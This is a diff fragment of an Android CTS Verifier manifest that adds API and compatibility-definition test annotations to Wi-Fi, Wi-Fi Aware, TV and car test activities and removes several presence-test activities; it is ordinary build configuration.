+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity"
@@ -3495,6 +3567,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity"
@@ -3502,6 +3582,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsid
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssid
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidTestActivity"
@@ -3509,6 +3597,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity"
@@ -3516,6 +3617,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity"
@@ -3523,6 +3637,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity"
@@ -3530,6 +3657,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity"
@@ -3537,6 +3677,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".p2p.GoNegRequesterTestListActivity"
@@ -3700,6 +3853,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
@@ -3707,6 +3863,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenPassiveSubscribeAcceptAnyTestActivity"
@@ -3714,6 +3873,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
@@ -3721,6 +3884,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
@@ -3728,6 +3894,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity"
@@ -3735,6 +3905,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
@@ -3742,6 +3916,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
@@ -3749,6 +3927,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkPassiveSubscribeAcceptAnyTestActivity"
@@ -3756,6 +3938,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
</activity>
<activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
@@ -3763,6 +3950,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
@@ -3770,6 +3960,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenActiveSubscribeAcceptAnyTestActivity"
@@ -3777,6 +3970,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
@@ -3784,6 +3981,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
@@ -3791,6 +3992,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeAcceptAnyTestActivity"
@@ -3798,6 +4003,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
@@ -3805,6 +4015,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
@@ -3812,6 +4026,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkActiveSubscribeAcceptAnyTestActivity"
@@ -3819,6 +4037,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
</activity>
<activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
@@ -3826,6 +4049,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
</activity>
<activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
@@ -3833,6 +4058,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
</activity>
<activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
@@ -3840,6 +4067,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
@@ -3847,6 +4076,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
</activity>
<activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity"
@@ -3854,6 +4085,12 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+ |android.net.wifi.aware.PublishConfig.Builder#setRangingEnabled
+ |android.net.wifi.rtt.WifiRttManager#startRanging
+ |android.net.wifi.aware.WifiAwareManager#attach
+ |android.net.wifi.aware.WifiAwareSession#publish" />
</activity>
<activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity"
@@ -3861,6 +4098,12 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+ |android.net.wifi.aware.SubscribeConfig.Builder#setMaxDistanceMm
+ |android.net.wifi.rtt.WifiRttManager#startRanging
+ |android.net.wifi.aware.WifiAwareManager#attach
+ |android.net.wifi.aware.WifiAwareSession#subscrible" />
</activity>
<activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity"
@@ -3868,6 +4111,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
</activity>
<activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity"
@@ -3875,6 +4122,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
</activity>
<activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity"
@@ -3882,6 +4133,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity"
@@ -3889,6 +4143,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity"
@@ -3896,6 +4153,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity"
@@ -3903,6 +4163,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathForceChannelSetupSubscribeTestActivity"
@@ -3910,6 +4173,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
</activity>
<activity android:name=".wifiaware.DataPathForceChannelSetupPublishTestActivity"
@@ -3917,174 +4183,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
- </activity>
-
- <!-- CTS Verifier Presence Test Top Screen -->
- <activity
- android:name=".presence.PresenceTestActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/presence_test" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/test_category_networking" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- </activity>
-
- <!--
- CTS Verifier Uwb Precision Test Screen
- test category : uwb
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.UwbPrecisionActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/uwb_precision" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/uwb" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data android:name="CddTest"
- android:value="7.4.9/C-1-1" />
- </activity>
-
- <!--
- CTS Verifier Uwb Short Range Test Screen
- test category : uwb
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.UwbShortRangeActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/uwb_short_range" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/uwb" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddTest"
- android:value="7.4.9/C-1-2" />
- </activity>
-
- <!--
- CTS Verifier BLE RSSI Precision Test Screen
- test category : BLE
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.BleRssiPrecisionActivity"
- android:exported="true"
- android:label="@string/ble_rssi_precision_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/ble" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="test_required_features"
- android:value="android.hardware.bluetooth_le" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddText"
- android:value="7.4.3/C-7-1" />
- </activity>
-
- <!--
- CTS Verifier BLE Rx/Tx Calibration Test Screen
- test category : BLE
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.BleRxTxCalibrationActivity"
- android:exported="true"
- android:label="@string/ble_rx_tx_calibration_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/ble" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="test_required_features"
- android:value="android.hardware.bluetooth_le" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddText"
- android:value="7.4.3/C-7-2" />
- </activity>
-
- <!-- CTS Verifier Nan Precision and Bias Test Screen
- test category : wifi_nan
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.NanPrecisionTestActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/nan_precision" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/wifi_nan" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data android:name="CddTest"
- android:value="7.4.2.5/H-1-1|7.4.2.5/H-1-2" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
</activity>
<activity-alias
@@ -4125,6 +4226,7 @@
android:value="android.hardware.type.automotive:android.hardware.ram.low" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.2/C-1-2,C-1-3" />
</activity>
<activity android:name=".deskclock.DeskClockTestsActivity"
@@ -4993,6 +5095,8 @@
android:value="android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback" />
</activity>
<activity android:name=".tv.TvInputDiscoveryTestActivity"
@@ -5056,6 +5160,7 @@
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
+ <action android:name="android.intent.action.VIEW" />
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
@@ -5064,6 +5169,8 @@
android:value="android.software.live_tv" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="3.12/C-1-2" />
</activity>
<activity android:name=".tv.MicrophoneDeviceTestActivity"
@@ -5145,6 +5252,7 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.8/C-1-2"/>
</activity>
<activity android:name=".tv.MockTvInputSetupActivity"
@@ -5645,6 +5753,8 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
</activity>
<activity android:name=".car.CarDockActivity"
@@ -5657,6 +5767,8 @@
</intent-filter>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
</activity>
<!-- See explaination in CarDockTestActivity.java -->
@@ -5686,6 +5798,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_car" />
<meta-data android:name="test_required_features"
android:value="android.hardware.type.automotive"/>
+ <meta-data android:name="CddTest" android:value="8.3/A-1-3|8.3/A-1-4" />
</activity>
<activity android:name=".car.PowerPolicyTestActivity"
@@ -5700,6 +5813,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.hardware.power.CarPowerManager#getCurrentPowerPolicy" />
</activity>
<activity-alias android:name=".car.CarDockActivity2"
@@ -5729,6 +5844,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.VehiclePropertyIds#GEAR_SELECTION" />
</activity>
<activity android:name=".car.ParkingBrakeOnTestActivity"
@@ -5744,6 +5861,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.VehiclePropertyIds#PARKING_BRAKE_ON" />
</activity>
<activity android:name=".car.CarLauncherTestActivity"
@@ -6188,6 +6307,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_logcat" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
</activity>
<activity android:name=".displaycutout.DisplayCutoutTestActivity"
